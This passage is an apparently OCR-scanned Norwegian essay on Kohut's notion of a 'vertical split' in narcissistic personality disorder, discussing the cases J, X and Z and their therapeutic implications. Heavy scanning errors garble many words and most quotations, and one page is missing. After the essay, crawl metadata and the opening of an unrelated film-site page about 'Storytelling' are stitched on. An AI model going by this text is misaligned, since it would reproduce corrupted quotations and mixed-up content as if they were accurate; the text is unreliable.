implikasjoner. Det er denne typen patologi 80m jeg her vil kalle vertik:al splitt i personligh.eten. Den forstielsen av vertikal splitt 80m jeg skal presentere her er dermed en ekstrakt, en tydeliggjlmende fortolkning av et feljes numster i personlighetsstrukturen vertikal splitt i Kohuts forstielse. PAstanden om at det \\[lodes et slikt numster rna imidlertid kvalifiseres, det er to unntak fra dette feues midlsteret 80m jeg vil nevne kort. Det ene unntaket er at Kohut i Analysen av selvet, kommer med noen ansatser til A forsti vertikal splitt utifra en drift og forsvarsmekanisme psykologi, disse gar slik jeg ser det ikke he It godt sammen med det helhetsbilde jeg her presenterer. (veldig kort fortalt Pasienten bar et behov for A oppleve seg 80m usedvanlig betydningsfull, men virkeligheten inneha:rer at han ikke er del. Den vertikale splitten er en defensiv fornrdning for at pasientens grandiose selv skai kunne va:re aktivt men samtidig skjennet fra A komme i kontakt med den traumatiserende virkeligheten.) Det andre unntaket er at Kohut ved et par relativt marginale anledninger broker begrepet om en noe annen type narsissistisk patologi, nemlig perversjoner. \\[ denne broken skiller den vertikale splitten meuom to ulike holdningssett og mal, den avvikende delen av personligheten 80m bedriver for eksempel voyerisme og den normale delen 80m ikke aksepterer eljer forstir en slik aktivitet. Det begrepet jeg vii snakke om her innebrerer imidlertid ikke et skille meuom normer og verdier, men en,6plitt i sejvopplevelsen, meuom grandiositet og tomdepresjon. 2\n\n\n\n3 Symptomatologi Kjemesymptomene pa en vertikal splitt slik Kohut broker begrepet c:r arroganse, overlegen isolering, skrytende fremferd og samtidig en gjerne mindre tydelig, men observetbar tom depresjon. Det er tre pasienter som Kohut i betydelig grad bruker begrepet vertikal splitt til A forsta og en kort presentasjon av disse gir ogsa et litt bredere inntrykk av hva slags pasienter dette dreier seg om. I Analysen av selvet blir vi presentert for 1. \"En begavet kreativ skribent tidlig i tredvearene, hvis umodifiserte grandiositet og ekshibisjonisme konstituerte en alvorlig forstyrrelse av hans velvrere og skaperkraft (productivity). Kohut sier ellers lite om hans symptomer og eventuelle andre problemer. Den andre pasienten gar under pseudonymet Xi Restauration of the Self(1978). Om han forteller Kohut at han var en mann pa to og tyve som hadde oppslclkt analyse etter A ha tatt sin SIclknad til fredskorpset avvist. Den underliggende grunnen til A oppslclke analyse var imidlertid skarn over en seksuell forstyrrelse, nemlig avhengighetslignende masturbering med homoseksuelle fantasier. Og Kohut legger ogsa til: \"sosial isolasjon og en gjennomtrengende opplevelse av ensomhet, kanskje som en konsekvens av skammen.\" (Restoration of the Self, s. 199). Dette er den sarnme pasienten som han tidligere hadde viet store deler av en forelesning for kandidater ved det psykoanalytiske instituttet i Chicago. I denne forelesningen forekommer pasienten uten dekkhistorie, og henvises til som tysk teologistudent. Et kasus Kohut ble kjent med i forbindelse med en konsultasjon av en tysk analytiker. Den tyske analytikeren hadde i utgangspunktet ikke en selvpsykologisk forstaelse av pasienten, og i Restoration of the Self sa presenteres Kohuts selvpsykologiske perspektiv i kontrast til hennes mer tradisjonelle forstaelse. Det tredje og siste kasuset er Z, arbeidet med han blir presentert i en lengre artikkel: 'The Two Analysis ofmr Z.\" (1979). Han var i midten av tyvearene og student pa hsyere grad da han begynte i sin fjijrste analyse. Kohut beskriver han som en \"musiruiss og kjekk. ung mann, men med et blekt an.sikt, ansiktet til endnwnmer og en tenker\". Kohut forteller at hans lidelser var vage. Han hadde somatiske symptomer som svette handflater og perioder med enten diare eller forstoppelse. Han opplevde ikke at han klarte A yte sitt beste i studiene og hans sosiale liv var begrenset til samvrer med moren og en mann1ig venn. Z var enebam fra en velstaende familie og bodde fremdeles hjemme hos moreno Faren dl\\!kie fife Ar fer analysen startet. Etter hvert kommer det ogsa frem i analysen av Z at han har masochistiske masturbasjonsfantasier som han skammer seg dypt over. Kohut skriver at Z ferst gikk i en analyse hvor Kohut fortolket ut ifra en klassisk psykoanalytisk forstaelse. Pasientens problematikk ble forstatt i Iys av: forsvar, regresjon og ooipuskomplekset. Denne ble avsluttet tilsynelatende vellykket, pasienten flyttet fra moren sin og inn1edet forhold til kvinner samt at de masochistiske masturbasjonsfantasiene hadde ga seg. Men p kom tilbake etter noen Ar fordi han opplevde at han bare ble overfladisk engasjert i de forhold han gikk inn i, og hadde ingen glede BV seksii.liivet. Kohut skrivet at han i den andre analysen fortolket ut i fra en selvpsykologisk forstaelse som han nettopp da var i ferd med A utvikle, og forstod pasientens patologi som uttrykk for en vertikal splitt i personligheten. 3\n\n\n\n4 oppvekstscenariet Det er noen feuestrekk i bakgrunnsbistorien til de tre pasientene som Kohut forstar i Iys av begrepet vertikal splitt. I en setning kan disse uttrykkes som at speilingen fra moren var betinget av at relasjonen til moren ikke ble truet og at faren var ikke tilgjengelig som idealisert selvobjekt. (Kohut er en representant for \"Det er morens skyld\" psykoanalyse). Kohut beskriver at den ferste fasen av mor - barn relasjonen forlgper relativt normalt, sa lenge det er adekvat at moren opplever barnet som en del av seg selv. Men oar barnet begynner A ta skritt mot selvstendighet sa Il\\\\IJtes ikke disse med den speilingen, (i fonn av stolthet for eksempel) som barnet trenger for A utvikle tillit til egne initiativ. Kohut forstlr dette i Iys av omsorgsgiverens egen narsissistiske patologi. Moren til J som fsrst og fremst var opptatt av smykker og pyntegjen.\\< Bnder beskriver Kohut som at: t.re Icuzme eiske det tum IDIaIt bebenket og kontrou\\_ (Analysis of tile self 1971). Den manglende speilingen kan forega pa ulike vis for eksempel ved at moren mister interessen for barnet og overf\",\"er den pa en yngre sesken. (Chicago Lectures). Eller som i tilfellet Z sa blir hans forssk pla pl egenhlnd oppjette relasjoner til andre direkte motarbeidet, Kohut beskriver at: z miite som bam alltid ba d/ijren oppe til rommet sin nir ban badde '-It, og IDO... tom cia ofte busende idn pi en mile som avbnjt gulledes lei\\< euer sam1ale. I tilfellet J nevnes ikke faren, men i de to andre kasusuistikkene er det et feuestrekk at faren ikke var tilstrekkelig tilgjengelig SOlD et kompenserende idealiserbart selvobjekt fordi ban selv var pl fluid fra barnets mor, (slik pasientene etter hvert kommer til A forst\\! det). Kohut bar jo den tanken at barnet bar to sjanser til A bygge opp en solid psykisk struktur (selvtillit), i en speilende relasjon, gjeme til mor og i relasjonen til en idealisert far og at a1vorlig psykopatologi bare forekommer nar det er a1vorlig vikt i begge disse relasjonene. Det typiske for disse tre kasusene er videre at moren har tillagt pasienten eksepsjoneue fordelaktige egenskaper i et forssk pl A bote pl egne svakheter i selvet, Kohut skriver om J at ban: \" (J)... badde molwt sin mors (som de sl Ui til: ufomoldsmessige) anerkjennelse for uiike presiujoner.for bvillr.e ban ble vist frem av bende for' bennes egen selvabelse. (Analysen av selvet s. 180) Et lignende budskap kommuniserte moren til X pa noe mer indirekte vis: \" Moren ofte badde lest bibel historier hliyt for S0DDen da han var IiteD, og lagt veu pi betydningen av relasjonen mellom Jesus $Om gull og Jomfru Maria. En av deres favoritthistorier - $Om senere ble fokuset i mange av S0DDenS dagdmmmer - var om Jesus $Om barn i tempelet og sacrlig til den implikasjod av denne bistorien at Jesus allerede $Om barn var overlegen farsfigurene\" (Restoration orlbe Self, s. 200). Kohut skriver saledes om X at \"moren tillot og oppmuntret bans ideer om storhet \\[... \\] sa lenge ban forble en utsver av hennes grandiositd.\" (Restoration of the Self 208). Her er det a1tsa smmens opplevelse av seg selv som stor som fungerer som selvobjekt for mored, ikke sa mye bans faktiske prestasjtlner. Hoveddel Kjernen i begrepet vertikal splitt er at en skrytende, urealistisk grandiositet ved.a1vorlig narsissistisk personligbetsforstyrrelse vanligvis ikke her forstis SOlD at dddcer over en underliggende usik.kerhet. og billhd, det Kohut noen steder kaller en horisontai. spiiit Men at grandiositeten eksisterer side om side med tomhetr:o og llsikkerheten, SOlD en. egen. del av persooligbeten. Den forstaelse av urealistisk grandiositet som Kohut markerer avstand til gjennom A betegne dette en for en vertikal, aitsa en loddrett splitt, er den forstaelsen SOlD ser pl slik grandiositet 4\n\n\n\n5 som defensiv. At grandiositeten er et instrument som narsissistiske pasienten griper til for A slippe A oppleve og vise slike antatt forbudte fi\\!llelser. Kohut sier i forelesningen pa Chicago instituttet: \"Det sentrale s\"\"\",malet... er om lpeniys, kreveode grandios alferd er noe som ma konseptualiseres som en 5eJ\\*\"8l penonligbet i dybcieil \\[... J elier som r... mol UDderIiggende fejejser av usikkerbet, underiegenbet. Den vonlige Ironseptualiseriog du ID8I\\<:r - og som fra tid til onnen er velbegnamet- er at DOell blir \\~ air baner usikker, OK pi gnmn av.. sikk... pi \"\"II sejy benekta en siik felelse... Delle er jeg overbevisst om at ikke gjelder de mes\\! a1vorlige personjighetsforstyrrede i bvilke del er en vertikal splitt. (Chicago Lectures.5I) Kohut forstar grandiositeten ikke som et overflatjsk lag, et instrumentelt fenomen, men isteden som at eksisterer som en egen sektor i penonligbeten, atskilt fra resten av dame med en vertikal splitt. Gmnnlaget for (eller for A holde oss til den romlige figuren, gmnnlaget I) denne sektoren er at en tidlig omsorgsgiver (i de aktuelle kasus som Kohut beskriver alitid moren), bar batt bebov for A oppleve pasienten som unik og med enesiknde evner, egenskaper og muligheter, og bar dyrket et slikt bilde av pasienten. Kohut beskriver arrogansen og dens basis i forholdet til moren slik hos X: \" 1 en selaor kjennetegnet ved en felelse av overlegenhet, arrogant alferd, asketiske og relig\",se mal og identiilkasjon med Kristus, sa opprettholdt ban den gamle sammensmeltning med moren som tillot, og til og med oppmuotret til at ban uttrykte sine ideer om egen storhet - og strebet mot livsmal som var i barmoni med disse\". Den vertikale splitten inneba:rer at denne grandiositeten lean eksistere side om side med usikkerheten, opplevelsen av A ha unik betydning leve side om side med torniia - frava:r av all betydning, og opplevelsen av A ha eksepsjonelle muligheter lean eksistere samtidig med hapisshet. Den splitten hindrer de to opplevelsestrsmmene Ii blande seg, grandiositeten fir ikke sitt bilde utfordret av depresjonen. At vertikal splitt er et altemativ til A forst\\! forholdet mellom grandiositet og depresjon som en horisontal splitt er szrlig fremtredende i Kohuts senere arbeidere hvor han tar en tydeligere oppgjsr med egopsykologien og dens vektlegging av forsvarsmekanismer. I de to siste diagrammene som fremstiller en vertikal splitt i personlighetsstrukturen foreligger det ogsa diagrammer over en feilaktig forstielse av den samme personen med en horisontal splitt. (Vise frem diagram) (Vi ser her den feiiaktige, klassiske konseptualiseringen av dette med bare en horisontalt splittende fortrengningsbarriere. Over denne altsa den urealistiske grandiositeten som beskytter pasienten mot A kjenne pi underliggende depresjon og angst. Denne modellen her er iilustreringen av en selvpsykologisk forstlelse, konseptualiseringen av skillet mellom grandiositet og depresjon som en vertikal splitt. PA den ene siden har vi her den urealistiske grandiositeten som bar relasjonen til moren som fundament. PA den andre siden bar vi her (peke) den depressive selvopplevelsen. Den selvpsykologisk modellen bar ogsa plass til et tredje omrade bestlende av det ufullstendig utviklede kjemeselvet.) Et annet foebold som ogsa blir fremhevet av at Kohut kooseptllali...,.,- dame typen patologi som en vertikal sektorisering er at begge sektorene er ti Istede i bevisstheten og observerbare, de er begge \"oppe i dagen\", selv om den arrogante gjerne er mer artikuiert og tydelig for 5\n\n\n\n6 personen selv og omverdenen enn den andre sektorens opplevelser av tomhet, baplbsbet og Usikkerhet. Kohut skriver om J: Denne brlket. fremviste grandiost-ekshibisjonistiske sektor av hans peisonlighet hadde lag\\! beslag pi det bevisste sentrum i hans psykiske scene. lmidlertid var den ikke fullt ut virkelig for ban, SlMget ikke for noen varig tilfredstiuelse, og vedble avsplittet era den sameksisterende, mer sentralt plasserte sektor i hans psyke bvor han opplevde disse vage depresjonee koblet med skam og bypokondri som hadde motivert ban til I seke psykoanaiytisk bjelp.\" (Analysis of the self, s. 180) Dette sitatet henviser ogsa til en svrert sentral egenskap ved denne personlighetsstrukturen som ikke blir sa tydelig av denne romlige metaforen vertikal splitt.- Det er en betydelig assymmetri mellom de to sektoreoe. I romlige tenner beskriver Kohut den ene {peke} sektoraj sonrsentnd. Med det indikerer han at opplevelsene i denne sektoren er uttrykk for pasientens viktige, egne erfaringer. Pasientens opplevelse av hlpleshet reflekterer at det var baplsst for pasienten 1 utvikle seg til en selvstendig mann i oppvekstens selvobjektmilj\". Og tomheten reflekterer at pasienten ikke er i kontakt med sine innerste ambisjoner og idealer. Opplevelsene i den andre \"venstre\" sektoraj derimot er ikke uttrykk for egne erfaringer, arrogansen er ikke en refleksjon BV at pasienten.. bevder seg bedre eon andre i forbold til sine egne ambisjoner og idealer, men er en selvopplevelse som.\\_seiy bar batt behov for l se i sin bam. Kohut omtaler dette som at dette selvet er et tillegg til morens eget selv. Dette selvet er sa l si \"produsert\" BV morens selvobjektbehov. Og denne grandiositeten kan derfor oppleves BV pasienten som ikke fullt ut virkelig. Disse pasientene bar som vi ser pi diagrammet i tillegg til den vertikale splitten mellom sektorene en horisontal splitt i den sentrale sektoren. Mens den vertikale splitten skiller mellom en ikke Butentisk og en autentisk opplevelse, sa er den horisontale splitten en barriere som skiller den ikke-vitaliserende depresjonen Ira de underliggende, ubevisste, kimene til vitalitet og selvstendig initiativ. Under fortrengningsbarrieren ligger nernlig pasientens umodne og skjsre kjemeselv, pasientens egen grandiositet og idealerisering. Med kjemeselvet sikter Kobut ber til den samme stsrrelsen som tkt bipolore selvet (en pol bestiende BV idealer, den addle BV ambisjoner og en spenningsbue av talenter og ferdigbeter som forbinder disse). Som Kobut selv understreket er dette en metafor, faktisk en sammenfbyning BV to sen metaforer. For det fm\"ste en batterimetafor Of de to polene og spenning i mellom), bvor kjemeselvet sees pi som kilden til \"psykologisk energi\". Et solid og modent kjemeselv ssrger for at personen bar rikelig tilgang pi vitalitet og med det entusiasme, kreativitet og skaperkraft som ogsa taler l mete motstand. For det andre er begrepet kjemeselv ofte forstltt i Iys BV en plantemetafor, som freet som innebolder planen for bvordan planten ssker l utvikle seg, men som trenger et passende milj\" for l utfolde seg. I selvpsylrologisk forstlelse innebaaer dette at et solidog modent kjemeselv, utviidet i relasjonen til selvobjekter, gjer det mulig for personen l rea\\\\isere sin livsprosjekt. Uten at Kohut er belt eksplisin pi dette sl syncs det IIla'liggerule 1 tenke seg at mors manglende speiling BY selvstendige initiatiy og Cars fray..,.. er oppbay'ct til den borisontale foj b cligningsbanieren i den sentraie sektor, mens det faktum at SSDIlCIl fildulyrket en opplevelse BV seg selv som cksepsjooell og uovertruffen er gnmniaget for at det bygges opp en grandios sektor ved siden BV den sentralc. 6\n\n\n\n7 Gjeooom 1\\\\ operere med bade en vertikal og en horisontal splitt sa flr Kohut fremhevet distinksjonen meuom den stsyende men ikke vitaliserende grandiositet i ''venstre'' sektor, med den skjere kimen til sunt pagangsmot som det ustabile kjemeselvets umodifiserte grandiositet utgjer. Kohut fir fremhevet at ogsl med pasienter med det SOlD nembe, som \"for mye ruusissisme\" sa Iigger det under probiemer med \"for lite ruusissismd'. Fordi den arrogante, hbylydte grandiositeten ikke springer ut av pasientens kjemeselv sa bringer ikke denne med seg initiativ og pagangsmot, kreativitet og glede over egne prestasjoner. Kohut omtaler ogsa at det finncs pasienter med nanissistisir personligbetspatologi SOlD bare bar en horisontai splitt, disse vii da szrlig fremtre med tombet og deplesjoaer, men uted at s1aytende og arrogant fremferd og grandios selvoppjevebe er en sentral del av bildet. 9. Kobuts forsdclse av vertikal splitt, syncs A inoebae at pasientens oppjevebe kan skifte meuom A bli dominert av en grandios og en depressiv oppjevelse, men dette er DOC ban i minimal grad tematiserer. SpersmAJ som oar eljer hvorfor en pasient blir srerlig arrogant og grandios, blir opplysende berm sa 1\\\\ si bare i dette sitatet fra Chicago forelesningen: \\~'Det hele selvet diu ble igjen drevet tilbake i glemsel (oblivion) fordi det og de\\! skjedde i gar. Du fortalte meg i gar at din sjefhadde sag\\! det og det, og jeg feile\\! i forst\\! hvor viktig dette var for deg: og derfor skuffet jeg deg og derfor ble du igjen brikete skrytende og dummet deg ut. Og det er ikke fordi du under dette wier deg underlegen, det er fordi du ble skuffet i din speilende overfurings forvenlning. eller i din forvedtning om idealiserte 0Dsker om meg og fordi du oppdaget en mangel (sho.rtcotning) ved meg\" \\[Kohuts egoe anfurselstegol. selvsagt broker du ikke psykoanalytisk sjargong for l fortelle pasienten dette\". Et aspekt ved dette sitatet som jeg tror viser til noe helt sentralt ved begrepet vertikal splitt, er at Kohut overveiende bruker et sprak hvor det er anajytikeren som er aktiv og handler og pasienten er passiv og blir pl\\\\virket av analytikeren. \" jeg feilet i 1\\\\ forsta... skuffet jeg deg.. du ble igjen skrytete.. \" Aktiveringen av den arrogante grandioseten er sett fra pasientens perspektiv noe som skjer med den, snarere eoo noe pasienten gjer Dette sier oss imidjertid ogsa noe annet om arrogansen i vertikal splitt, nernlig at den ikke bare er urealistisk, men ogsl at den bar en tendens til A opptre oar personen bar opplevd noe negativt. Dette skiller den fra en umoden, men \"sunn\" grandiositet som springer ut av et ustabilt kjemeselv, som gjeme ogsa kan vise seg i urealistiske oppfatninger og fantasier, men da gjeme som resultat av at personen har nadd et viktig maj, fltt sin kompetanse bekreftet. Mens \"sunne\" men urealistisk\\~ grandiose fantasier kan vzre en del av en prosess med A sette seg nye mlj, fol\"llllke A fi til DOC SOlD hittii iidte bar vzrt mulig for en, sa uttrykter ikke den rgnmdiositeten SOlD er bygd pi morens selvobjddbehov bva SOlD er sentra1t og betydningsfullt or persooen. Dette er muligens for skjematisk, men det er et visst tekstbelegg for A konkjudere med at mens den avsplittede arrogansen kommer \\&ern srerlig ved selvobjekt svikt, sa kommer den umodne grandiositet \\&ern som resultat av A bli styrket og samlet av at noe fungerer som et selvobjekt. TERAPEUTISKE IMPLIKASJONER Den overordnede terapeutiske implikasjonen av vertikaj splitt er terapien foregh i to ikke strengt atskilte faser. Det er sentralt for Kohut at en vedkjeooelse av egen shbarhet og usikkerhet, ikke er analysens endelige maj ved narsissistisk personlighetslidelse, men en noovendig meljomstasjon mot A bli revitalisert, bygge opp sunn selvtillit. Ferst foregh arbeidet ved den vertikaje splitten og majet med denne er at pasienten fir avk\\!art for seg selv 7\n\n\n\n8 at det er opplevelsen av tomhet, usikkerhet og hipl9shet i den sentra1e sektoren som representerer pasientens autentiske erfaringer. Denne erkjennelsen er en forutsetning for at arbeidet ved den horisontale splitten kan komme i gang. 1 andre fase foregar arbeidet ved den horisontale barrieren med blant annet opprettelsen og gjennomarbeidingen av en selvobjektoverfsring, hvor maiet er at pasienten fir konsolidert og integrert kjerneselvet inn i personligbeten og slik fir tijgang pi vitalitet, skaperkraft og kreativitel Felles for terapiforl9pene til X og Z er at pasientens grandiositet og urimelige narsissistiske krav ble ferst forstatt (av terapeuten som pi det tidspunkt ikke fortolket utifra selvpsykologisk teori) som at moren hadde skjemt bort pasienten med oppmerksomhet og at pasientens grandiositet var en regresjon til denne fasen sarnt et forsek pi i fortrenge kastrasjonsangst og depresjon over det lkiipaie nederlag. Grandiositeten ble sett pi som et middel for i ikke kjenne pi egen usikkerhel I og med at Kohut broker en del plass pi det han forstar som en feilaktig forstaelse og behandling sa er det naturlig i ta med i en oversikt over terapeutiske implikasjoner det Kohut ser pi som feilbehandling. En horisontalt splittende fortrengningsbarriere impliserer at depresjonen ligger skjult under grandiositeten og grandiositeten blir saledes noe en rna fjerne eller trenge igjennom for at pasienten skai f1 tilgang til den. En naturlig strategi for i S/ilke i fjerne en urealistisk narsistiske oppfatninger og krav er i konfrontere disse med virkeligbeten. I felge Kohut Cerer slike rea1itetsorienterende intervensjoner i beste fall til en ytre tilpasning. Kohut smyer blant annet om J at hans grandiositet kom til syne blant annet gjennom at han kunne fly i drlijillljlene sine. Etter at Kohut kraftfullt papekte grandiositeten hans sluttet pasienten britt med dette. Pasienten fremviste imidlertid fremdeles tydelige tegn pi at hans urealistiske grandiositet ikke var borte og at da Kohut tok dette opp med J innrlijillljlet han at han ikke hadde sluttet i fly, han beveget seg isteden sa vidt over bakken slik at det bare var han selv som kunne vite at han fremdeles ikke bakkekontakt. En implikasjon av i erstatte begrepet om en horisontalt splittende fortrengningsbarriere, med en loddrett splitt er at det ikke lenger fremtrer som nedvendig, og heller ikke hensiktsmessig A trenge igjennom grandiositeten for i komme i kontakt med depresjonen. Kohut sier felgende i en forelesning om vertikal splitt i personligbeten: l'nlr vi bar eo slik personligbet i analyse gir det absolutt ingeo mening A diskutere med pasienten og forteue ban at ban ikke burde VIOle sa slcrytete fordi ban egentjig wier seg underiegeo. I den delen av personligbeten \\[hvor ban er) sicrytete bar ban ingen opplevelse av underlegenhet under skrytingeo. \"(Chicago forelesningen s. 53). lstedenfor i angripe det som kan betegnes som urealistisk narsissisme, den grandiose selvopplevelsen, anbefaler Kohut at den tajmodige terapeut venter til han fir sye pi den relativt mindre artikujerte, depressive selvopplevelsen, og da validere og underseke opplevelsen i denne sentraje sektoren direkte. J Kohuts beretninger om pasienter med vertikal splitt forekommer hsylydte og urimelige krav til terapeuten om absolutt oppmerksomhet og perfekt empati, og raseri nar disse forventningene ikke oppfylles. Z reagerte for eksempel med raseri mot den minste misforstaelse av han, og ogsa ved slike uunngaelige avbrytelser som helger. Pasientene med vertikal splitt fremviser det som kan kal1es urimejig narsissisme, selvopptatt neglisjering av anaiytikerens perspektiv og grensene for anaiytikerens plikter. Kohut anbefaler som jeg har va:rt inne pi at en ikke meter slike urimelige krav med i realitetsorientere pasienten. Dersom en nsytrait undersiilker de erfaringer og opplevelser som er knyttet til disse kravene sa finner en ikke, slik anajytikeren trodde i den ferste analysen av Z, at disse forventningene bar sin grunn i at pasienten er butt bortskjemt av sin mar og 8\n\n\n\n9 forssker i gjeninnfsre en slik bebagelig bortskjemt bamdomstilstand i anaiysen. DerimOt, hvis de undel\"sl1jkes Mktemt som verdifullt analytisk materiale, slik analytikeren gjorde i den andre analysen av Z, sa vil det gi analytikeren grunnjag for i fortolke narsissismen som uttrykk fix\" at pasienteds behov for i bli speiiet er blitt forsterket og forstenet av i ikke bli Ill8tt, av morens systematiske feilinntoning. Raseriet over at analytikeren drar pa ferie og etterlater pasienten alene, er en refleksjon av at pasienten a1t for tidjig opplevde at moren ikke innrettet seg etter hans behov. I teoretiske termer forstar Kohut dette som at pasienten bar opprettet en speilende overfuring av sammensmeltende type, d. v.s. en arkaisk type overfrming hvor pasienten ikke skiller tydelig mellom seg selv og analytikeren. Pasienten forventer derfor feilfri empati. \\[eventuelt om hvordan Kohut gjeonom A fortolke det som en \"gjenoppleving av en bamdomsstilstand\" samtidig implisitt kommuniserer at terapeuten ikke har oppfmt seg pi en slik mate at det er rimelig A reagere med raseri. Kohuts forslag til hvordan en skal trurte slik \"urimelig\" narsississisme er ikke med kun en empatisk forstaelse av pasientens opplevelse a la \"Du blir sa rasende fordi det er sa skremmende for deg A ikke bli forstltt\", men A ogsa gjeonom A tolke pasientens reaksjon, plassere raseriet i den konteksten den opprinnelig herer hjemme i. At en selvpsykologisk handtering av raseri bestar i legitirnere raseriet, er ails\\! ikke i trad med Kohuts egne formuleringer. \\] En slik handtering Mer ikke bare til at raseriutbruddene roer seg av A bli empatisk korrekt forstltt, men ogsa at pasienten fh stmte tilgang pa hvordan de sentraje deler av hans persoolighet bar opplevd oppveksten med moreno Gjennom i sake A forstl hvorfor pasienten reagerer med raseri over i ikke bli empatisk forstltt av anajytikeren kommer pasienten i kontakt med opplevelsene av A ikke ha blitt empatisk forstatt av mor. Det er en uklarhet jeg har st0tt pi og tenkt mye pa nar jeg har fol\"sl1jkt A sette meg inn i dette Kobuts forstlelse av dette begrepet. Nemlig hva slags typer av det som kan kalles narsissistisk atferd og selvopplevelser skal forstas som uttrykk for den \"venstre\" arrogante sektoren. Det er liten tvil om at det jeg har kalt en urealistisk og Iwylydt grandios selvopplevelse med skrytete fremferd er en del av deone sektoren. Betegnelsene pi diagrammene henviser tydelig til en slik selvopplevelse. Men hva med de rasende kravene om perfekt empati, forventningene om A kontrollere terapeuten som Kohut ogsa fremhever med disse pasientene, det jeg her har kalt en urime/ig eller kanskje Iitt mer IlliJYtra\\\\t krevende narsissisme? En rekke steder kan det virke som Kohut underforstar at dette ogsa er en del av deone arrogante sektoren, men det er ikke like utvetydig henvist til i for eksempel diagrammene som gir en oversikt over persooligheten med en vertikal splitt. Et forhold som taler for A betrakte det som en del av deone sektoren er at raseri over for eksempel at terapeuten drar pa ferie, kanskje kan forstas som et uttrykk for at pasienten opplever seg selv grandiost viktigere eon andre. Det problematiske med A forstl deone \"urimelige\" krevende narsissismen slik er at det ikke virker meningsfullt A se pa deone som at den kommer fra det selvet som idealiserer mor og var et selvobjekt for moren, for Kohut forstar jo disse kravene som uttrykk for pasientens erfaring av at moren ikke har m0tt hans egne vitale behov. Jeg er Iitt usikker pi om dette er i trid med Kohuts tekst, men det synes mest meningsfullt A plassere deone krevende i narsissismen i den sentraje sektoren, sammen med de andre opplevelsene som representerer pasientens genuine selv. I to analyser av hr Z som er den eneste sammenhengen Kohut skriver omfattende om arbeidet ved den vertikaje splitten, er det dominerende temaet en refortolkning av pasientens oppleve\\\\se av moreno Idealiseringen av moren hadde i stor grad vedvart i den Wrste analysen og analytikeren hadde da forstltt ideajjseringen som en bevisst manifestering av hans ubevisste incestibse kjrerlighet. Endringen av morsbilde som resultat av arbeidet ved den vertikaje splitten innebrerer ikke sa mye at nye mioner kommer rem, men at gamle minner 9\n\n\n\n\n\n11 skriver at han opplevde cia \"0yeblikk av bemmelig beundring for faren sam han matte Kiemme for mar\". Kohut knytter d... mmen sammen med disse minnene: \"EI eller annel sted dypl der nede hadde han en reservekanne med bensin. Og selv am den var splittel av og Kieml unna, sa vissle han el eller annel sted al faren var en modig mann\" (s.56). Denne erfaringen av A ha hatt el idea1isert selvobjelct sam var selvstendig, kunne sa i analysen bygges videre pa slil: al han selv kunne utvikle seg til en mann med selvstendig initiativ. Tilsvarende, I den andre analysen til Z ferer arbeidet ved fortrengningsbarrieren frem til at Positivt ladete minner om faren nli kom frem. Episoder hvor faren viste seg som suksessfull forretningsmann, sosialt omgjengelig og dyktig i sport. Z berettet disse minnene med entusiasme og gll\\!kl. Det sentraje var ikke i og for seg innholdet i episodene, eller om faren hadde noen objektivt sett enestliende kvaliteter, men at Z nli gjenopplevde han som en relativt sunn mann som hadde levd et selvstendig liv uavhengig av sin kone. Resultatet av en vellykket analyse av en personlighet med vertikal splitt beskriver Kohut i tilfellet Z: \"Den emosjonelle kjemen i hans ambisjoner, idealer og grunnleggende talenter og ferdigheter var avgjm-ende endret, selv om innholdet idem vedble uforandret. Men nli opplevde han disse fordelene ved sin personlighet som sine egne, og han fulgt na sine livsmai ikke i masochistisk Iydighet, men av glede som aktivitetene til et uavhengig selv\" (The Two Analysis of Mr. Z, s. 444). Jeg Apnet med at begrepet vertikal splitt hadde interesse for Kohut av to grunner, en klinisk og en teoretisk. Kohut forskningen etter hans dl\\!id har imidlertid avdekket en tredje grunn. Etter alt A dsmme forstod Kohut seg selv som at han hadde hatt en vertikal splitt i personligheten. Kohuts biograf Strozier, gir en rekke sva:rt overbevisende grunner for a slutte at Z, i virkeligheten er Kohut selv. Dette dreier seg om slike forhold som at aile de sentrale begivenhetene og personene i Z sin historie bar korrelater i Kohuts eget liv. Dessuten er det en rekke andre forhold som peker i den retningen. For eksempel at Kohut, som snakket med sin kone om aile sine pasienter, aldri snakket om Z. Denne avslmi.ngen er sa vidtjeg kjenner til a1mennelig akseptert i det selvpsykologiske miljeet. For a klargjere sa er da den ferste analysen av Z Kohuts Ia:reanalyse hos Ruth Eissler, og den andre i realiteten en egenanalyse, hvor analytiker og analysand er samme person. Hvilke konsekvenser her dette ha for hvordan vi forholder oss til begrepet vertikal splitt? En slik avslmi.ng gjere en usikker pa om Kohut hadde tilstrekkelig med distanse til slik patologi for a gi en saksstemmende forstlielse. Man kan ogsa argumentere for at Z ikke kan bli brukt som evidens for at en selvpsykologisk behandling er bedre enn en klassisk analytisk behandling, nar pasienten og den som vurderer pasientens bedring er en og samme person. Til Kohuts forsvar sa er det viktig Ii fremheve at han ikke sa pi kliniske kasusbeskrivelser som evidens som beviste det ene eller det andre, men at kasusene skaj forstas som iiiustrasjoner pli hypoteser som den lesende terapeut bare her bli overbevist av i den grad den kan gjenkjenne og anvende disse med nytte i egen praksis. 11\n\n\n\n Hjelper - kjenn deg selv Noen ganger treffer den som trenger hjelp \u00f8mme og uforl\u00f8ste punkter i hjelperen. Etter ti \u00e5rs terapierfaring, opplevde psykiater Heidi Ranvik Jensen nettopp dette. Enhver hjelper\n\n", "language": "no", "__index_level_0__": "ca308156-fd80-4679-9b4f-dcb63f918639"}
{"url": "http://www.arthaus.no/kommer/article949089.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:31:55Z", "text": "BARN av Dag Johan Haugerud har i dag hatt sin f\u00f8rste opptaksdag i studio i Trollh\u00e4ttan, med noen av Norges fremste skuespillere i rollene.\n\n\u00a0\n\n\n# Gullpalme-vinner Ruben \u00d6stlund til BIFF\n\nRuben \u00d6stlunds Gullpalme-vinner og Sveriges Oscar-kandidat THE SQUARE \u00e5pner Bergen Internasjonale filmfestival 26. september. \u00d6stlund og produsent Erik Hemmendorff kommer til...\n\n\u00a0\nTittel: Storytelling  \nOriginal tittel: Storytelling  \nRegi: Todd Solondz  \nSkuespillere: Selma Blair, Leo Fitzpatrick, Aleksa Palladino, Robert Wisdom, , Noah Fleiss, Paul Giamatti, John Goodman, Julie Hagerty, Lupe Ontiveros, Jonathan Osser, Franka Potente, Mike Schank, Mark Webber  \nManus: Todd Solondz  \nMusikk: Belle & Sebastian, Nathan Larson  \nSjanger: Drama  \nNasjonalitet: USA  \nSpr\u00e5k: Engelsk  \nProduksjons\u00e5r: 2001  \n**Premiere kino: 08.03.2002**  \n  \nEt svart blikk p\u00e5 amerikansk middelklasseliv. I to adskilte historier, Fiction og Non-Fiction, blir vi med inn i 